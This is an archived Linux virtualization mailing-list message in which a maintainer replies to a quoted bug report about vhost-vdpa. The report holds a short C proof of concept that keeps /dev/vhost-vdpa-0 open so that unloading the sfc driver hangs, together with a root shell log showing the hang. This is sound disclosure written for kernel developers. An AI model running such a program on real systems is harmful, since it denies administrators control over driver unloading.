public inbox for virtualization@lists.linux-foundation.org
 help / color / mirror / Atom feed
From: "Michael S. Tsirkin" <mst@redhat.com>
To: Gautam Dawar <gdawar@xilinx.com>
Cc: Martin Petrus Hubertus Habets <martinh@xilinx.com>,
	Harpreet Singh Anand <hanand@xilinx.com>,
	"virtualization@lists.linux-foundation.org"
	<virtualization@lists.linux-foundation.org>
Subject: Re: Security hole in vhost-vdpa?
Date: Sun, 6 Jun 2021 17:38:10 -0400	[thread overview]
Message-ID: <20210606173637-mutt-send-email-mst@kernel.org> (raw)
In-Reply-To: <BY5PR02MB6980228A5EA2D021A3F9F47BB1399@BY5PR02MB6980.namprd02.prod.outlook.com>

On Sun, Jun 06, 2021 at 02:39:48PM +0000, Gautam Dawar wrote:
> Hi All,
> 
>  
> 
> This is in continuation to my findings noted in Bug 213179 and discussions we
> have had in the last couple of weeks over emails.
> 
>  
> 
> Today, I published the first patch for this issue which adds timeout based wait
> for completion event and also logs a warning message to alert the user/
> administrator of the problem.

Can't close just finish without waiting for userspace?
Then notify userspace about any buffers that did not complete ...


> As a next step, the idea is to implement a mechanism to allow vhost-vdpa module
> notify userspace app (QEMU) to close the fd corresponding to the vhost-vdpa
> character device when it is waiting for the completion event in
> vhost_vdpa_remove(). Jason confirmed this by saying that we need a new eventfd/
> ioctl to receive hot remove request from kernel.
> 
>  
> 
> Although, we can proceed to implement changes for the part described above but
> I feel that that the problem is much deeper than that. This mechanism will just
> request the userspace to close the fd and let vhost-vdpa proceed with the
> clean-up. However, IMHO things should be under more control of kernel space
> than the user space.
> 
>  
> 
> The problem I am trying to highlight is that a malicious user-space application
> can render any module registering a vDPA device to hang in their
> de-initialization sequence. This will typically surface when
> vdpa_device_unregister() is called from the function responsible for module
> unload leading rmmod commands to not return, forever.
> 
>  
> 
> To prove my point, I created a simple C program (test_vdpa.c) that opens the
> vhost-vdpa character device and never exits. The logs (test_logs.txt) show that
> after registering the vDPA device from sfc driver, vhost-vdpa module creates
> the char device /dev/vhost-vdpa-0  for it. As this is available to all apps in
> the userspace, the malicious app (./block_vdpa_unload) opens this device and
> goes to infinite sleep. At this time, when module unload (rmmod sfc) is called,
> it hangs and the following print informs the user/admin of this state with
> following message:
> 
> [ 8180.053647]  vhost-vdpa-0: vhost_vdpa_remove waiting for /dev/vhost-vdpa-0
> to be closed
> 
>  
> 
> Finally, when block_vdpa_unload is killed, vhost_vdpa_remove() unblocks and sfc
> module is unloaded.
> 
>  
> 
> With such application running in userspace, a kernel module (that registered
> corresponding vDPA device) will hang during unload sequence. Such control of
> the userspace application on the system resources should certainly be
> prevented.
> 
> To me, this seems to be a serious issue and requires modifications in the way
> it is currently handled in vhost-vdpa (and other modules (VFIO?) with similar
> implementation).
> 
> Let me know what you think.
> 
>  
> 
> Regards,
> 
> Gautam Dawar
> 

> #include <sys/stat.h>
> #include <unistd.h>
> #include <stdlib.h>
> #include <stdio.h>
> #include <fcntl.h>
> #include <errno.h>
> 
> int main(int argc, char **argv)
> {
>    unsigned int index;
>    char dev_path[30];
>    int fd;
> 
>    if (argc != 2) {
> 	   printf("Usage: %s <vhost-vdpa device index>\n", argv[0]);
> 	   return -1;
>    }
> 
>    index = strtoul(argv[1], NULL, 10);
> 
>    snprintf(dev_path, sizeof(dev_path), "/dev/vhost-vdpa-%u", index);
>    fd = open(dev_path, O_RDWR);
>    if(fd < 0)
>    {
>        printf("Failed to open %s, errno: %d!\n", dev_path, errno);
>        return 1;
>    }
> 
>    printf("Blocking unload of driver that registered vDPA device"
> 	  " corresponding to cdev %s created by vhost-vdpa\n", dev_path);
>    while (1)
> 	   sleep(1);
> 
>    close(fd);
>    return 0;
> }

> [root@ndr730p ~]# ~/create_vdpa_device.sh
> 
> [root@ndr730p ~]# ll /dev/vhost-vdpa-0
> crw------- 1 root root 240, 0 Jun  6 19:59 /dev/vhost-vdpa-0
> 
> [root@ndr730p ~]# ./block_vdpa_unload 0 &
> [1] 10930
> Blocking unload of driver that registered vDPA device corresponding to cdev /dev/vhost-vdpa-0 created by vhost-vdpa
> 
> [root@ndr730p ~]# rmmod sfc
> [ 8179.010520] sfc_ef100 0000:06:00.4: ef100_vdpa_delete: Calling vdpa unregister device
> [ 8180.053647]  vhost-vdpa-0: vhost_vdpa_remove waiting for /dev/vhost-vdpa-0 to be closed
> 
> [root@ndr730p ~]# kill -9 10930
> [ 8218.392897] sfc_ef100 0000:06:00.0: shutdown successful
> 

_______________________________________________
Virtualization mailing list
Virtualization@lists.linux-foundation.org
https://lists.linuxfoundation.org/mailman/listinfo/virtualization

       reply	other threads:[~2021-06-06 21:38 UTC|newest]

Thread overview: 5+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
     [not found] <BY5PR02MB6980228A5EA2D021A3F9F47BB1399@BY5PR02MB6980.namprd02.prod.outlook.com>
2021-06-06 21:38 ` Michael S. Tsirkin [this message]
2021-06-07  2:10   ` Security hole in vhost-vdpa? Jason Wang
2021-06-10  4:30     ` Michael S. Tsirkin
2021-06-10  5:13       ` Jason Wang
     [not found]       ` <MN2PR02MB6991BB8836C3688B9EDDD136B1359@MN2PR02MB6991.namprd02.prod.outlook.com>
2021-06-10  5:59         ` Jason Wang

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20210606173637-mutt-send-email-mst@kernel.org \
    --to=mst@redhat.com \
    --cc=gdawar@xilinx.com \
    --cc=hanand@xilinx.com \
    --cc=martinh@xilinx.com \
    --cc=virtualization@lists.linux-foundation.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox